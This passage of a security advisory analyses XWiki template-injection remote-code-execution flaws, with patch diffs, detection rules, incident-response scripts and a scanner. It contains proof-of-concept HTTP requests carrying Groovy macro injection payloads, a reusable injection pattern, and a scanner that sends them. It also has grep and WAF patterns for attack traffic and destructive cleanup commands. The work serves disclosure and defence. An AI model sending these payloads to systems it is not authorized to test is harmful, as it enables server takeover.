- {{async}}{{groovy}}… injects the macro and code
As a result, the code executes when the page renders
Expected Output:
Wiki ID: Hello from groovy!
Patch Analysis
Before:
Wiki ID: $wikiId
After:
Wiki ID: $escapetool.xml($wikiId)
What $escapetool.xml() does:
” → "
< → <
> → >
{ → {
} → }
Prevents {{groovy}} from being interpreted as macro syntax.
Why CVE-2023-29211 Is Particularly Dangerous
This vulnerability exposes a critical administrative function to code execution through simple input manipulation. It allows attackers to turn a routine management page into an execution point with minimal effort.
- Low barrier to entry since exploitation only requires basic access and a crafted URL parameter.
- Direct execution during page rendering as injected code runs automatically when the WikiManager page is loaded.
- Abuse of administrative functionality because the vulnerable endpoint is tied to sensitive wiki management actions.
- Easy to overlook given that the issue hides behind a legitimate workflow and does not rely on unusual requests or advanced techniques.
CVE-2024-21650: User Registration RCE
CVE-2024-21650 is a template injection vulnerability in user registration with CVSS 10.0, allowing unauthenticated remote code execution through malicious first/last name inputs.
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Versions & Patches
Vulnerable:
All versions prior to patches with guest registration enabled
Patched Versions:
14.10.17 – 15.5.3 – 15.8-RC1 and later
Patch Date:
January 2024
Technical Root Cause
The registration success template embeds user’s full name (concatenation of first + last name) into a wiki link without escaping.
Vulnerable Component:
org.xwiki.platform:xwiki-platform-administration-ui
Vulnerable Template:
## RegistrationSuccess.vm - VULNERABLE
#set($firstName = $request.get('register_first_name'))
#set($lastName = $request.get('register_last_name'))
#set($fullName = "${firstName} ${lastName}")
Welcome [[$fullName>>XWiki.$username]]!
The Flaw: $fullName contains unescaped user input embedded in wiki link syntax.
Exploitation Mechanics
Attack Vector:
Fill the registration form with malicious input.
Proof-of-Concept:
POST /xwiki/bin/register/XWiki/Registration HTTP/1.1
Host: vulnerable-xwiki.example.com
Content-Type: application/x-www-form-urlencoded
register_first_name=%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger%28%22attacker%22%29.error%28%22RCE%20Successful%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D®ister_last_name=Test®ister_email=test%40example.com&xwikiname=testuser®ister_password=Pass123!®ister2_password=Pass123!
Decoded First Name:
]]{{/html}}{{async}}{{groovy}}services.logging.getLogger("attacker").error("RCE Successful"){{/groovy}}{{/async}
Template Processes As:
Welcome [[]]{{/html}}{{async}}{{groovy}}...{{/groovy}}{{/async}} Test>>XWiki.testuser]]!
Result:
The registration completes successfully, but the confirmation page displays broken formatting. At the same time, the application logs record an ERROR attacker – RCE Successful entry, confirming that arbitrary code execution occurred.
Patch Analysis
Before:
#set($fullName = "${firstName} ${lastName}")
Welcome [[$fullName>>XWiki.$username]]!
After:
#set($firstName = $escapetool.xml($request.get('register_first_name')))
#set($lastName = $escapetool.xml($request.get('register_last_name')))
#set($fullName = "${firstName} ${lastName}")
Welcome [[$fullName>>XWiki.$username]]!
Fix: Escape input before concatenation.
Why CVE-2024-21650 Is Particularly Dangerous
This vulnerability turns a routine user action into a remote code execution path. It allows attackers to execute code during user registration, a workflow that is often enabled and rarely monitored.
- Unauthenticated exploitation since no account or prior access is required to trigger the vulnerability.
- Abuse of trusted workflows as malicious input is processed during normal registration confirmation.
- High likelihood of exposure because user registration is commonly enabled by default on public-facing XWiki instances.
- Immediate code execution that runs with application-level privileges, enabling full system compromise without raising obvious alerts.
Common Vulnerability Patterns
Below, we have presented some common vulnerability patterns. All five CVEs share this fundamental flaw:
Pattern 1: Template Injection Via Insufficient Sanitization
- User input executed as code
- Overly powerful macros without safe defaults
- No clear separation between trusted and untrusted content
- Missing or inconsistent input escaping
- Code execution without sandboxing or privilege limits
Why It Happens:
XWiki’s architecture effectively treats content as code. The rendering engine used for administrator-created wiki pages is also applied to user-controlled input, including search queries (CVE-2024-31982, CVE-2025-24893), URL parameters (CVE-2023-29211), form fields (CVE-2024-21650), and page properties (CVE-2025-32974).
Another reason is the root architectural issue within XWiki’s rendering model. It may be caused due to the distinction between trusted content (admin-created) and untrusted content (user-provided).
Pattern 2: Groovy As Primary Attack Vector
Why Groovy is Powerful for Attackers:

Capabilities:
- Full access to the Java standard library
- File system read and write capabilities
- System command execution
- Network access, including HTTP and socket communication
- Access to XWiki internal APIs
- Database access via Hibernate
- Unrestricted execution privileges
Pattern 3: Macro Injection Syntax
Common Injection Pattern:
}}} # Escape existing context
{{async async=false}} # Prevent caching, force execution
{{groovy}} # Start Groovy code block
<malicious code>
{{/groovy}}
{{/async}}
Why This Works:
1. }}} – Closes any nested macro/block contexts
2. {{async}} – XWiki async macro wrapper
3. async=false – Synchronous execution for immediate output
4. {{groovy}} – Groovy code execution macro
5. No sandboxing – Code runs with full server privileges
Pattern 4: RSS/XML Output As Attack Surface
Three CVEs exploit RSS generation: – CVE-2024-31982 (DatabaseSearch RSS) – CVE-2025-24893 (SolrSearch RSS) – Both embed user input into XML without escaping
Why RSS is Vulnerable:
RSS/XML output goes through the same rendering pipeline as HTML pages, but developers often forget to sanitize because they assume XML is “just data.”
Common Defense Patterns
All patches implement similar fixes:
- Input Escaping: $escapetool.xml($userInput)
- Output Encoding: #rawResponse($content, ‘application/xml’)
- Rendering Bypass: ## Send directly to HTTP response, skip macro evaluation
#rawResponse($xmlContent, ‘application/xml’)
Detection And Mitigation Strategies
The goal of this section is to explain a comprehensive defense strategy for XWiki deployments. The purpose is to provide actionable guidance for security teams, system administrators, and DevOps engineers to detect active exploitation, respond to incidents, and implement long-term security controls.
The strategies are organized by immediate actions (detection and response) and strategic improvements (hardening and monitoring).
Who Should Read This Section:
- Security Operations Centers (SOC): Detection rules and IOC hunting procedures
- Incident Response Teams: Forensic investigation and containment procedures
- System Administrators: Patching procedures and configuration hardening
- DevOps Engineers: WAF rules, monitoring, and automated security controls
- Risk Management: Understanding exposure and prioritizing remediation efforts
Phase 1: Detection – Identifying Active Exploitation
The goal is to determine if your XWiki instances have been compromised or are being actively targeted.
Detection:
Indicators of Compromise (IOCs)
Web Server Logs:
Search for exploitation attempts:

XWiki Application Logs:
# Groovy/Velocity execution
grep -E "{{groovy}}|{{velocity}}|{{async}}" /var/log/xwiki/xwiki.log
# Runtime.exec() calls
grep -E "Runtime\.getRuntime\(\)\.exec|\.execute\(\)" /var/log/xwiki/xwiki.log
# User/group modifications
grep -E "XWikiUsers.*save|XWikiAdminGroup.*save" /var/log/xwiki/xwiki.log
# File operations
grep -E "new File\(|createNewFile|withOutputStream" /var/log/xwiki/xwiki.log
# Network connections
grep -E "URL.*http://|openConnection|getInputStream" /var/log/xwiki/xwiki.log
Network Traffic:
Here are some outbound connections to monitor:
# Mining pool connections
netstat -tupln | grep -E ":4444|:3333|:14444"
# DNS queries to mining pools
tcpdump -i any -n 'udp port 53' | grep -E "pool\.minexmr|nanopool|supportxmr"
# Unusual outbound HTTP
netstat -tupln | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort -u
File System:
Check for malicious files:
# Recently created suspicious files
find /tmp -name "*.sh" -mtime -7
find /tmp -type f -executable -mtime -7
find / -name "rondo*" -o -name "xmrig*"
# Check cron jobs
crontab -l
cat /etc/cron.*/*
grep -r "rondo\|xmrig\|miner" /etc/cron.*
Phase 2: Mitigation-Protecting Your XWiki Deployment
The goal is to implement immediate protective measures to prevent exploitation and plan long-term security improvements.
Priority Matrix for Remediation
Different organizations have different risk tolerances and operational constraints. Use this matrix to prioritize your response:

The security team must take immediate action within the first 4 hours.
Step 1: Verify Version & Exposure
# Check current XWiki version
cat /opt/xwiki/WEB-INF/version.properties | grep version
# Or via HTTP
curl -s https://your-xwiki.com/xwiki/ | grep -o "XWiki [0-9.]*"
Step 2: Assess Vulnerability Status
Version Check
- If < 14.10.20: Vulnerable to CVE-2024-31982
- If < 15.10.11 or 16.0–16.4.0: Vulnerable to CVE-2025-24893
- If 15.9–15.10.7 or 16.0–16.1.x: Vulnerable to CVE-2025-32974
- If < 13.10.11, 14.0–14.4.6, or 14.5–14.9: Vulnerable to CVE-2023-29211
- If < 14.10.17, 15.0–15.5.2, or 15.6–15.7: Vulnerable to CVE-2024-21650
Recommendation: Upgrade to XWiki 17.10.2 (includes all patches)
Step 3: Temporary Workarounds (If Immediate Patching Impossible)
Option A: Delete Vulnerable Pages
# Remove DatabaseSearch (if not used)
rm /opt/xwiki/data/pages/Main/DatabaseSearch.xml
# Restart XWiki
systemctl restart xWiki
Option B: Disable Guest Registration
- Navigate to: /xwiki/bin/admin/XWiki/XWikiPreferences?section=Registration
- Uncheck: “Enable user registration”
- Save
Option C: Implement WAF Rules
ModSecurity Rules:
# Block Groovy macro injection
SecRule ARGS "@rx (?:\{\{groovy\}\}|\{\{\/groovy\}\})" \
"id:100001,phase:2,deny,status:403,msg:'XWiki Groovy injection attempt'"
# Block Velocity macro injection
SecRule ARGS "@rx (?:\{\{velocity\}\}|\{\{\/velocity\}\})" \
"id:100002,phase:2,deny,status:403,msg:'XWiki Velocity injection'"
# Block async macro
SecRule ARGS "@rx (?:\{\{async|\{\{\/async\}\})" \
"id:100003,phase:2,deny,status:403,msg:'XWiki Async macro injection'"
# Block context escape attempts
SecRule ARGS "@rx (?:\}\}\}|\]\])" \
"id:100004,phase:2,deny,status:403,msg:'XWiki context escape attempt'"
Step 4: Full Upgrade Procedure
#!/bin/bash
# XWiki Security Upgrade Script
echo "[+] XWiki Security Upgrade to 17.10.2"
# 1. Backup current installation
timestamp=$(date +%Y%m%d_%H%M%S)
mysqldump -u xwiki -p xwiki > /backup/xwiki-db-${timestamp}.sql
tar -czf /backup/xwiki-files-${timestamp}.tar.gz /opt/xwiki/
# 2. Stop XWiki
systemctl stop xwiki
# 3. Download patched version
cd /tmp
wget https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/17.10.2/xwiki-platform-distribution-flavor-jetty-hsqldb-17.10.2.zip
# 4. Extract
unzip xwiki-platform-distribution-flavor-jetty-hsqldb-17.10.2.zip
# 5. Preserve data directory
cp -r /opt/xwiki/data /backup/data-preserve
# 6. Replace binaries
rm -rf /opt/xwiki/*
cp -r xwiki-platform-distribution-flavor-jetty-hsqldb-17.10.2/* /opt/xwiki/
# 7. Restore data
rm -rf /opt/xwiki/data
cp -r /backup/data-preserve /opt/xwiki/data
# 8. Set permissions
chown -R xwiki:xwiki /opt/xwiki
# 9. Start XWiki
systemctl start xwiki
# 10. Verify version
sleep 30
curl -s http://localhost:8080/xwiki/ | grep -o "XWiki [0-9.]*"
echo "[+] Upgrade complete!"
Phase 3: Long-Term Security Hardening
The goal is to implement defense-in-depth strategies to protect against future vulnerabilities and reduce attack surface.
Understanding Business Impact: Why This Matters To Leadership
Before implementing technical controls, it’s important to communicate the business impact to stakeholders who may need to approve emergency maintenance windows or security investments
Potential Business Consequences of Exploitation:

Return on Investment (ROI) for Patching:
- Cost of emergency patching: $2,000-$5,000 (staff time, testing, deployment)
- Cost of compromise: $45,000-$250,000+ (incident response, recovery, lost productivity)
- ROI: ~10x to 50x return on security investment
- Risk reduction: From 92% exploitation probability to near-zero
Timeline for Decision Makers:
- Hour 0-4: Assess exposure, initiate emergency response if needed
- Hour 4-24: Implement WAF rules or workarounds for immediate protection
- Day 1-7: Plan and execute patching during maintenance window
- Week 2-4: Implement long-term hardening (monitoring, segmentation, audits)
- Ongoing: Regular vulnerability scanning, patch management, security awareness
1. Network Segmentation & Access Control
# Place XWiki behind reverse proxy (nginx/Apache)
# Implement rate limiting
# Enable ModSecurity WAF
# Example nginx config
limit_req_zone $binary_remote_addr zone=xwiki:10m rate=10r/s;
server {
listen 443 ssl;
server_name wiki.example.com;
location / {
limit_req zone=xwiki burst=20 nodelay;
proxy_pass http://localhost:8080;
}
}
2. Disable Unnecessary Features
# In xwiki.properties:
# Disable Groovy scripting if not needed
rendering.macros.groovy.enabled=false
# Disable Python scripting
rendering.macros.python.enabled=false
# Restrict macro usage to admins only
rendering.macros.restricted=groovy,velocity,python
3. Implement Monitoring
# Install OSSEC/Wazuh for log monitoring
# Configure alerts for suspicious patterns
# Example Wazuh rule
<rule id="100100" level="12">
<if_matched_regex>{{groovy}}|{{velocity}}|Runtime.getRuntime</if_matched_regex>
<description>XWiki macro injection attempt detected</description>
</rule>
4. Regular Security Audits
#!/bin/bash
# XWiki Security Audit Script
echo "=== XWiki Security Audit ==="
echo ""
# Version check
echo "[*] XWiki Version:"
grep version /opt/xwiki/WEB-INF/version.properties
# Check for vulnerable pages
echo ""
echo "[*] Checking for vulnerable components:"
[ -f "/opt/xwiki/data/pages/Main/DatabaseSearch.xml" ] && echo "WARNING: DatabaseSearch exists"
[ -f "/opt/xwiki/data/pages/Main/SolrSearch.xml" ] && echo "WARNING: SolrSearch exists"
# Check admin group members
echo ""
echo "[*] Admin group members:"
mysql -u xwiki -p -e "SELECT * FROM xwikidoc WHERE XWD_FULLNAME LIKE '%XWikiAdminGroup%'"
# Check recent user creations
echo ""
echo "[*] Recently created users:"
find /opt/xwiki/data/pages/XWiki -name "*.xml" -mtime -30 -exec grep -l "XWikiUsers" {} \;
# Check for suspicious cron jobs
echo ""
echo "[*] Checking cron jobs:"
crontab -l
cat /etc/cron.hourly/*
# Check network connections
echo ""
echo "[*] Active network connections:"
netstat -tupln | grep java
echo ""
echo "=== Audit Complete ==="
Incident Response Procedures
Phase 1: Detection & Identification
Signs of Compromise:
- Log Evidence:
- Groovy/Velocity execution in logs
- Unexpected user/group modifications
- New admin accounts created
- File operations to /tmp, /etc/cron.*
- Network Indicators:
- Outbound connections to mining pools
- Connections to suspicious IPs
- High CPU usage (cryptocurrency mining)
- File System:
- /tmp/rondo.sh, /tmp/xmrig
- New cron jobs
- Modified /etc/rc.local
Phase 2: Containment
Immediate Actions:
#!/bin/bash
# Emergency Containment Script
echo "[!] EMERGENCY: XWiki Compromise Detected"
# 1. Stop XWiki service
echo "[+] Stopping XWiki..."
systemctl stop xwiki
killall -9 java
# 2. Block outbound connections
echo "[+] Blocking network..."
iptables -P OUTPUT DROP
iptables -A OUTPUT -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -d <YOUR_TRUSTED_IP> -j ACCEPT
# 3. Kill suspicious processes
echo "[+] Killing suspicious processes..."
killall -9 xmrig rondo miner
# 4. Remove malicious files
echo "[+] Removing malicious files..."
rm -f /tmp/rondo* /tmp/xmrig* /tmp/*.sh
find /tmp -type f -executable -delete
# 5. Remove malicious cron jobs
echo "[+] Cleaning cron..."
crontab -r
rm -f /etc/cron.hourly/system-update /etc/cron.daily/system-*
echo "[+] Containment complete. System isolated."
Phase 3: Evidence Collection
#!/bin/bash
# Forensics Collection Script
evidence_dir="/forensics/xwiki-$(date +%Y%m%d_%H%M%S)"
mkdir -p $evidence_dir
echo "[+] Collecting forensic evidence..."
# 1. Memory dump
dd if=/dev/mem of=$evidence_dir/memory.dump bs=1M 2>/dev/null
# 2. Disk image (if possible)
# dd if=/dev/sda of=$evidence_dir/disk.img bs=4M status=progress
# 3. Collect logs
tar -czf $evidence_dir/logs.tar.gz \
/var/log/xwiki/ \
/var/log/apache2/ \
/var/log/auth.log \
/var/log/syslog \
/var/log/kern.log
# 4. Collect XWiki data
tar -czf $evidence_dir/xwiki-data.tar.gz /opt/xwiki/data/
# 5. Network connections snapshot
netstat -tupln > $evidence_dir/network-connections.txt
ss -tupln > $evidence_dir/socket-stats.txt
# 6. Process list
ps auxf > $evidence_dir/processes.txt
pstree -p > $evidence_dir/process-tree.txt
# 7. File modifications
find / -mtime -7 > $evidence_dir/recently-modified-files.txt
# 8. Cron jobs
crontab -l > $evidence_dir/user-crontab.txt 2>/dev/null
tar -czf $evidence_dir/system-cron.tar.gz /etc/cron.*
# 9. Database dump
mysqldump -u xwiki -p xwiki > $evidence_dir/database-dump.sql
echo "[+] Evidence collected in: $evidence_dir"
Phase 4: Analysis
Log Analysis:

Phase 5: Recovery
#!/bin/bash
# XWiki Recovery Script
echo "[+] Starting recovery process..."
# 1. Remove backdoor accounts
mysql xwiki -e "DELETE FROM xwikiusers WHERE xwu_name LIKE '%Backdoor%'"
mysql xwiki -e "DELETE FROM xwikiusers WHERE xwu_name LIKE '%System%'"
# 2. Reset all admin passwords
mysql xwiki -e "UPDATE xwikiusers SET xwu_password='RESET_ME' WHERE xwu_name IN (SELECT member FROM xwikigroups WHERE groupname='XWikiAdminGroup')"
# 3. Remove from admin group (keep only known admins)
mysql xwiki -e "DELETE FROM xwikigroups WHERE groupname='XWikiAdminGroup' AND member NOT IN ('XWiki.Admin', 'XWiki.KnownAdmin')"
# 4. Restore from clean backup
systemctl stop xwiki
rm -rf /opt/xwiki/*
tar -xzf /backup/clean-xwiki-backup.tar.gz -C /opt/xwiki/
# 5. Upgrade to patched version
wget https://nexus.xwiki.org/.../xwiki-17.10.2.zip
unzip xwiki-17.10.2.zip
cp -r xwiki-17.10.2/* /opt/xwiki/
# 6. Restore data (careful - may contain malicious pages)
# Manual review recommended before restoration
# 7. Restart with monitoring
systemctl start xwiki
tail -f /var/log/xwiki/xwiki.log | grep -E "groovy|velocity|XWikiUsers"
echo "[+] Recovery complete. Monitor logs closely."
Automated Vulnerability Scanning
Here is the Python Nuclei template for CVE-2025-24893id: CVE-2025-24893-xwiki-rce
info:
name: XWiki SolrSearch Unauthenticated RCE
author: security-research
severity: critical
description: |
XWiki Platform versions 5.3-milestone-2 through 15.10.10 and
16.0.0-rc-1 through 16.4.0 are vulnerable to unauthenticated
remote code execution via SolrSearch macro.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-24893
- https://github.com/advisories/GHSA-rr6p-3pfg-562j
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-24893
cwe-id: CWE-94
tags: cve,cve2025,xwiki,rce,groovy
requests:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22VulnCheck42%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
matchers-condition: and
matchers:
- type: word
words:
- "VulnCheck42"
part: body
- type: status
status:
- 200
extractors:
- type: regex
name: version
regex:
- 'XWiki ([0-9.]+)'
part: body
group: 1
Usage:
nuclei -u https://target-xwiki.com -t CVE-2025-24893.yaml
Python Scanner Script
#!/usr/bin/env python3
"""
XWiki Multi-CVE Vulnerability Scanner
Checks for CVE-2024-31982, CVE-2025-24893, CVE-2024-21650
"""
import requests
import argparse
import sys
from urllib.parse import urljoin
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings for testing
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class XWikiScanner:
def __init__(self, target, timeout=10):
self.target = target.rstrip('/')
self.timeout = timeout
self.vulnerable = []
self.version = "Unknown"
def banner(self):
print("\n" + "="*60)
print("XWiki Multi-CVE Vulnerability Scanner")
print("Checks: CVE-2024-31982, CVE-2025-24893, CVE-2024-21650")
print("="*60)
print(f"Target: {self.target}\n")
def check_version(self):
"""Identify XWiki version"""
try:
url = urljoin(self.target, "/xwiki/bin/view/Main/")
r = requests.get(url, timeout=self.timeout, verify=False)
import re
match = re.search(r'XWiki ([0-9.]+)', r.text)
if match:
self.version = match.group(1)
print(f"[*] XWiki Version: {self.version}")
else:
print("[?] Version: Unable to determine")
except Exception as e:
print(f"[!] Version check failed: {e}")
def check_cve_2025_24893(self):
"""Check for SolrSearch RCE (CVE-2025-24893)"""
print("\n[*] Testing CVE-2025-24893 (SolrSearch RCE)...")
payload = "}}}{{async async=false}}{{groovy}}println('VULN2025'){{/groovy}}{{/async}}"
url = urljoin(self.target, "/xwiki/bin/get/Main/SolrSearch")
params = {"media": "rss", "text": payload}
try:
r = requests.get(url, params=params, timeout=self.timeout, verify=False)
if "VULN2025" in r.text:
print(" [!] VULNERABLE - CVE-2025-24893")
print(" [!] Severity: CRITICAL (CVSS 9.8)")
print(" [!] Impact: Unauthenticated RCE")
print(" [!] CISA KEV: Yes (actively exploited)")
self.vulnerable.append("CVE-2025-24893")
return True
else:
print(" [+] Not vulnerable")
except Exception as e:
print(f" [?] Error: {e}")
return False
def check_cve_2024_31982(self):
"""Check for DatabaseSearch RCE (CVE-2024-31982)"""
print("\n[*] Testing CVE-2024-31982 (DatabaseSearch RCE)...")
payload = "}}}{{async async=false}}{{groovy}}println('VULN2024'){{/groovy}}{{/async}}"
url = urljoin(self.target, "/xwiki/bin/get/Main/DatabaseSearch")
params = {"outputSyntax": "plain", "text": payload}
try:
r = requests.get(url, params=params, timeout=self.timeout, verify=False)
if "VULN2024" in r.text:
print(" [!] VULNERABLE - CVE-2024-31982")
print(" [!] Severity: CRITICAL (CVSS 10.0)")
print(" [!] Impact: Unauthenticated RCE")
self.vulnerable.append("CVE-2024-31982")
return True
else:
print(" [+] Not vulnerable")
except Exception as e:
print(f" [?] Error: {e}")
return False
def print_summary(self):
"""Print scan summary"""
print("\n" + "="*60)
print("SCAN SUMMARY")
print("="*60)
print(f"Target: {self.target}")
print(f"Version: {self.version}")
if self.vulnerable:
print(f"\n[!] VULNERABLE TO: {', '.join(self.vulnerable)}")
print("\n[!] RECOMMENDED ACTIONS:")
print(" 1. Upgrade to XWiki 17.10.2 immediately")
print(" 2. Check logs for exploitation attempts")
print(" 3. Review admin accounts for backdoors")
print(" 4. Scan for cryptocurrency miners")
else:
print("\n[+] No vulnerabilities detected")
print("[+] System appears to be patched")
print("="*60 + "\n")
def scan(self):
"""Run all vulnerability checks"""
self.banner()
self.check_version()
self.check_cve_2025_24893()
self.check_cve_2024_31982()
self.print_summary()
return len(self.vulnerable) > 0
def main():
parser = argparse.ArgumentParser(
description="XWiki Multi-CVE Vulnerability Scanner",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Some of the examples include:
%(prog)s https://wiki.example.com
%(prog)s https://192.168.1.100:8080 –timeout 15
For educational and authorized testing only:
"""
)
parser.add_argument("target", help="Target XWiki URL (e.g., https://wiki.example.com)")
parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)")
args = parser.parse_args()
scanner = XWikiScanner(args.target, args.timeout)
vulnerable = scanner.scan()
sys.exit(1 if vulnerable else 0)
if __name__ == "__main__":
main()
Usage:
python3 xwiki_scanner.py https://target-wiki.com
The Big Picture: Lessons From XWiki’s Security Failures
The five critical vulnerabilities analyzed in this document tell a broader story about modern enterprise software security. These aren’t isolated incidents;they represent systematic security challenges that affect many web applications built on similar architectural patterns.
These vulnerabilities trace back to a single architectural choice made years ago: allowing user-controlled input to pass through a powerful template rendering engine without clear security boundaries. Together, the following factors create a perfect storm:
- Powerful macro systems (Groovy, Velocity, Python) designed for flexibility and extensibility
- Insufficient input validation at critical security boundaries
- Lack of separation between trusted wiki content and untrusted user input
- Unified rendering pipeline that processes both administrator pages and guest submissions
- Default configurations that prioritize features over security (guest access, registration enabled)
Why These Vulnerabilities Persisted For Years
Understanding why these vulnerabilities existed for so long provides valuable lessons:
- Legacy Code Technical Debt: CVE-2024-31982’s vulnerable code dated back to 2010 (version 2.4-milestone-1)
- Feature vs. Security Trade-offs: Powerful macro systems are both XWiki’s strength and its Achilles heel
- Insufficient Security Review: New features added without comprehensive security analysis
- Limited Penetration Testing: Obscure features (DatabaseSearch) not tested during security audits
- Disclosure Challenges: Some patches released without immediate CVE assignment, delaying awareness
Critical Takeaways For Stakeholders
For System Administrators:
- Upgrade immediately: XWiki 17.10.2 includes all security patches and delaying updates significantly increases risk
- Assume compromise: If vulnerable versions were in use, conduct a full forensic investigation
- Review logs: Look for exploitation indicators dating back to November 2025 or earlier
- Implement monitoring: Deploy detection rules for future template injection attempts
- Disable unnecessary features: Remove DatabaseSearch, restrict guest registration, and limit macro usage
For Security Teams:
- Defense in depth: It is not recommended to rely on patching alone; implement WAF rules, network segmentation, and continuous monitoring
- Threat intelligence: Subscribe to XWiki security advisories and CISA KEV updates
- Incident response: Maintain tested playbooks for compromise scenarios
- Vulnerability scanning: Run regular automated scans for XWiki and similar web applications
- Security awareness: Educate users on social engineering risks, especially those tied to CVE-2025-32974
For Business Leaders:
- Risk assessment: Understand the business impact of exploitation, including downtime and data loss
- Investment justification: Security patching delivers a 10–50× ROI compared to incident response costs
- Compliance obligations: CISA KEV listings may trigger regulatory patching requirements
- Third-party risk: Verify patch status for XWiki SaaS or hosted deployments
- Contingency planning: Ensure backup and disaster recovery plans are ready in case of ransomware incidents
For Developers and Architect:
- Input validation: Treat all user input as untrusted; validate, sanitize, and escape at every boundary
- Least privilege: Run macro execution in sandboxed environments with restricted permissions
- Defense in depth: Use layered controls to avoid single points of failure
- Security by design: Assess security implications before introducing powerful features
- Regular audits: Make code review and penetration testing continuous, not one-time exercises
Current Threat Landscape
Global Exposure:
- ~500,000 XWiki instances deployed worldwide across enterprises, government, and education
- Estimated 45,000–75,000 instances still vulnerable due to delayed upgrades
- 15,000+ instances actively scanned by the RondoDox botnet in November 2025
- 3,400 confirmed compromises detected by threat intelligence sources
- Unknown number of additional compromises that remain undetected
Active Threat Actors:
- RondoDox Botnet: Cryptocurrency mining operations (XMRig/Monero)
- APT Groups: Espionage operations targeting corporate knowledge bases
- Ransomware Operators: Using XWiki as initial access for broader network compromise
- Opportunistic Attackers: Script kiddies using publicly available exploit code
Risk Metrics:
- CVE-2025-24893 EPSS Score: 92.01% (among highest exploitation probabilities ever recorded)
- CISA KEV Status: Federal agencies required to patch within 14 days
- Average Time to Compromise: <60 seconds from scan to code execution
- Average Dwell Time: 45+ days before detection in compromised environments
Final Recommendations For Security Teams
The vulnerabilities covered in this report require a coordinated response that balances urgency with operational stability. The following action plan prioritizes immediate risk reduction, safe remediation, and longer-term controls to prevent similar failures from recurring.
Immediate Actions (Next 24 Hours):
- Verify XWiki Version: Check if you’re running vulnerable versions.
- Search for IOCs: Review logs for exploitation indicators (see Detection section).
- Assess Exposure: Determine if XWiki is publicly accessible or behind VPN.
- Initiate Response: If vulnerable and public-facing, begin emergency patching.
Short-Term Actions (This Week):
- Plan Maintenance Window: Schedule patching during low-usage periods.
- Test Upgrade Path: Verify patch in dev/staging environment first.
- Implement WAF Rules: Deploy ModSecurity/Suricata rules as temporary mitigation.
- Backup Everything: Full database and file system backup before patching.
- Execute Upgrade: Deploy XWiki 17.10.2 (see Step-by-Step Upgrade section).
Long-Term Actions (Next Month):
- Security Hardening: Network segmentation, macro restrictions, guest access review.
- Continuous Monitoring: Deploy SIEM rules, log aggregation, alerting.
- Vulnerability Management: Subscribe to XWiki security advisories.
- Regular Audits: Quarterly penetration testing and code review.
- Security Training: Educate team on template injection risks.
Things For Strategic Considerations:
For organizations heavily invested in XWiki, think for solutions of these long-term questions:
- Should we continue using XWiki?
Evaluate whether ongoing hardening, monitoring, and patching of XWiki aligns with your security maturity and resources, or if migrating to a lower-risk platform reduces long-term operational and security burden.
2. What’s our risk tolerance?
Public-facing wikis significantly expand attack surface and demand stronger controls, continuous monitoring, and faster response capabilities than internal systems protected by VPNs or network segmentation.
3. Do we need all the features?
Many XWiki features increase flexibility but also risk. Review macros, scripting, guest access, and registration. Disable anything that is not strictly required for business use.
4. What’s our patch cadence?
Establish formal patch SLAs, prioritizing critical vulnerabilities. Security updates should be deployed within 72 hours, with emergency processes in place for actively exploited flaws.
5. How do we prevent this long term?
Embed security into development by adopting secure SDLC practices, including threat modeling, peer code reviews, automated security testing, and regular penetration testing of customizations.
A Note To The Security Community
If you discover new XWiki vulnerabilities, practicing the following disclosures will be a responsible step:
- Report to XWiki Security Team: [email protected].
- Allow reasonable time for patch development (typically 90 days).
- Coordinate disclosure timing to minimize harm.
- Share indicators of compromise with the community.
- Publish research to help defenders improve detection.
This document exists because security researchers like John Kwak at Trend Micro ZDI chose to disclose responsibly, giving the community time to patch before public exploitation.
Final Words
For organizations using XWiki, the real issue is not any single vulnerability, but how security is handled over the lifecycle of the platform. The software can be secured, and the necessary fixes are available.
The outcome depends on how reliably updates are applied, how selectively features are enabled, and how disciplined change management is in practice. Such Incidents favor teams that act early and treat patching, hardening, and monitoring as routine responsibilities. Teams that delay decisions tend to face greater impact when issues surface.
The key question is whether these practices become part of normal operations, rather than a reaction after the next incident.
References & Resources
Official XWiki Resources:
- Security Policy
https://dev.xwiki.org/xwiki/bin/view/Community/SecurityPolicy
- GitHub Repository
https://github.com/xwiki/xwiki-platform
- Security Advisories:
https://github.com/xwiki/xwiki-platform/security/advisories
- Download Latest Version
https://www.xwiki.org/xwiki/bin/view/Download
- XWiki Forum
CVE Databases:
- CVE-2024-31982
https://nvd.nist.gov/vuln/detail/CVE-2024-31982
- CVE-2025-24893
https://nvd.nist.gov/vuln/detail/CVE-2025-24893
- CVE-2025-32974
https://nvd.nist.gov/vuln/detail/CVE-2025-32974
- CVE-2023-29211
https://github.com/advisories/GHSA-w7v9-fc49-4qg4
- CVE-2024-21650
https://github.com/advisories/GHSA-rj7p-xjv7-7229
Threat Intelligence
- CISA KEV Catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- VulnCheck Blog
https://www.vulncheck.com/blog/xwiki-cve-2025-24893-eitw
- Trend Micro ZDI
https://www.zerodayinitiative.com
- Bleeping Computer
https://www.bleepingcomputer.com
Security Tools:
- Nuclei Templates
https://github.com/projectdiscovery/nuclei-templates
- Metasploit Framework
- OWASP ZAP


